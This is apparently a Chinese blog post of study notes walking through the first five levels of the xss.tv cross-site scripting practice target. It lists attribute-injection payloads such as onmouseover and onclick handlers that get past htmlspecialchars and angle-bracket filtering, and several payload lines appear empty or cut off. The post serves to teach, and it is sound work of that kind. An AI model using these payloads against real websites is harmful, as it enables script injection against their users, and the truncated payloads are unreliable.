学习笔记五:xss.tv通关笔记

学习笔记五:xss.tv通关笔记

最近几天一直在学xss,今天便顺便刷了一下xss的在线靶机,这是Google的提供的一个xss练习网址
地址:http://test.xss.tv

注:以下很多的操作在chrome浏览器下会失效

level1

  • 这题比较简单
    学习笔记五:xss.tv通关笔记_第1张图片
    可以看出只需要把

    标签闭合即可
    因此payload为:

level2

学习笔记五:xss.tv通关笔记_第2张图片
这里只需要闭合input内部的标签即可
payload:">

这里还在网上看到了另两种解法
payload:
" onmouseover=alert(1)>需要鼠标划过输入框


" onclick=alert(1)这样需要点击一下输入框

这里介绍一个函数htmlspecialchars()
学习笔记五:xss.tv通关笔记_第3张图片
这个是通过闭合页面的另一部分实现的。

level3

这关是将两个引用的位置都进行了处理
学习笔记五:xss.tv通关笔记_第4张图片
payload:' onmouseover=alert(1)/
这里需要说明一下/,input标签中有一个/,而返回的代码中没有,固需要加上

level4

这一关多加了一个处理

$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);

学习笔记五:xss.tv通关笔记_第5张图片
这题和上题类似,只要不使用<>同时闭合前后即可.
payload:" onmouseover=alert(1) type="

level5

这道题过滤了 学习笔记五:xss.tv通关笔记_第6张图片
payoad:
http://test.xss.tv/level5.php?keyword="> mcc
下面这个payload在edge和ie上是成功的,但是在firefox和chrome上不行
http://test.xss.tv/level5.php?keyword=">